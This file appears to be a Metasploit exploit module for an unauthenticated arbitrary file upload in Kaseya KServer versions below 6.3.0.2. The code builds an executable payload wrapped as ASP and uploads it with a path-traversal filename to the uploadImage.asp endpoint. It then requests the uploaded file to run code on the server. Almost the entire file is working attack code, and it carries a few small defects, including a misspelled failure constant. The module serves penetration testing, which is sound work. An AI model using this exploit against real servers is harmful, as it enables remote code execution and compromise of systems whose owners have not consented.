metasploit-framework/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kaseya uploadImage Arbitrary File Upload',
      'Description'    => %q{
        This module exploits an arbitrary file upload vulnerability found in Kaseya versions below 6.3.0.2.
        A malicious user can upload an ASP file to an arbitrary directory without authentication, leading to arbitrary code execution.
        Code executed in this manner runs under an IUSR account.
      },
      'Author'         =>
        [
                          'Thomas Hibbert <thomas.hibbert@security-assessment.com' # Vulnerability discovery and MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     => [['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']],
      'Payload'        => {},
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          [ 'Kaseya KServer / Windows', {} ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 11 2013'))
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri('SystemTab','uploadImage.asp')
    })
    
    # the vuln was patched by removing uploadImage.asp. if the page is there, calling it without params will return 500, else 404

    if not res or res.code != 500
      return Exploit::Faliure::UnexpectedReply
    end

    return Exploit::CheckCode::Appears
  end

  def get_cookie
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("SystemTab", "uploadImage.asp")
    })

    if res and res.headers['Set-Cookie']
      cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
    else
      fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue")
    end

    cookie
  end

  def exploit
    peer = "#{rhost}:#{rport}"

    @payload_name = "#{rand_text_alpha_lower(8)}.asp"
    exe  = generate_payload_exe
    asp  = Msf::Util::EXE.to_exe_asp(exe)

    post_data = Rex::MIME::Message.new
    post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}")

    data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    cookie = get_cookie
    res = send_request_raw({
      "method" => "POST",
      "uri"    => normalize_uri("SystemTab","uploadImage.asp?filename=..\\..\\..\\..\\#{@payload_name}"),
      "data"   => data,
      "ctype"  => "multipart/form-data; boundary=#{post_data.bound}",
      "cookie" => cookie
    })

    register_files_for_cleanup(@payload_name)

    if not res or res.code != 200
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    print_status("#{peer} - Executing payload #{@payload_name}")
    res = send_request_cgi({
      'uri'    => normalize_uri(@payload_name),
      'method' => 'GET'
    })
  end
end